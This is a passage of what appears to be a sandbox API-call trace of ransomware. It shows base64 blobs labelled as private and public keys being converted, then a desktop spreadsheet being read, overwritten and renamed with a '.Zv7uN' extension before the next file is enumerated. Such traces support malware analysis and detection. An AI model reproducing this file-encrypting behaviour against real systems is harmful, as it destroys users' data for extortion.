CpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.741] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0126.742] GetCurrentThreadId () returned 0xa30 [0126.742] GetCurrentThreadId () returned 0xa30 [0126.742] GetCurrentThreadId () returned 0xa30 [0126.743] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.743] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.743] GetCurrentThreadId () returned 0xa30 [0126.743] GetCurrentThreadId () returned 0xa30 [0126.743] GetCurrentThreadId () returned 0xa30 [0126.743] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\As_s0.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\as_s0.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.743] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0126.744] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.744] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x9001 [0126.744] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.744] ReadFile (in: hFile=0x120, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x9001, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f96c*=0x9001, lpOverlapped=0x0) returned 1 [0126.746] CloseHandle (hObject=0x120) returned 1 [0126.747] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\As_s0.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\as_s0.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.751] WriteFile (in: hFile=0x120, lpBuffer=0x1f02fa0*, nNumberOfBytesToWrite=0x9001, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f02fa0*, lpNumberOfBytesWritten=0x18f978*=0x9001, lpOverlapped=0x0) returned 1 [0126.754] CloseHandle (hObject=0x120) returned 1 [0126.756] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\As_s0.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\as_s0.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\As_s0.xlsx.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\as_s0.xlsx.zv7un")) returned 1 [0126.758] GetCurrentThreadId () returned 0xa30 [0126.758] GetCurrentThreadId () returned 0xa30 [0126.758] GetCurrentThreadId () returned 0xa30 [0126.758] GetCurrentThreadId () returned 0xa30 [0126.759] GetCurrentThreadId () returned 0xa30 [0126.759] GetCurrentThreadId () returned 0xa30 [0126.759] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x202b3430, ftCreationTime.dwHighDateTime=0x1d5e642, ftLastAccessTime.dwLowDateTime=0xfd792a60, ftLastAccessTime.dwHighDateTime=0x1d5e3c0, ftLastWriteTime.dwLowDateTime=0xfd792a60, ftLastWriteTime.dwHighDateTime=0x1d5e3c0, nFileSizeHigh=0x0, nFileSizeLow=0xc645, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="BbAbN3g2HP.mkv", cAlternateFileName="BBABN3~1.MKV")) returned 1 [0126.759] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.759] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.759] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BbAbN3g2HP.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bbabn3g2hp.mkv"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x202b3430, ftCreationTime.dwHighDateTime=0x1d5e642, ftLastAccessTime.dwLowDateTime=0xfd792a60, ftLastAccessTime.dwHighDateTime=0x1d5e3c0, ftLastWriteTime.dwLowDateTime=0xfd792a60, ftLastWriteTime.dwHighDateTime=0x1d5e3c0, nFileSizeHigh=0x0, nFileSizeLow=0xc645)) returned 1 [0126.759] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BbAbN3g2HP.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bbabn3g2hp.mkv")) returned 0x20 [0126.759] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BbAbN3g2HP.mkv", dwFileAttributes=0x80) returned 1 [0126.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5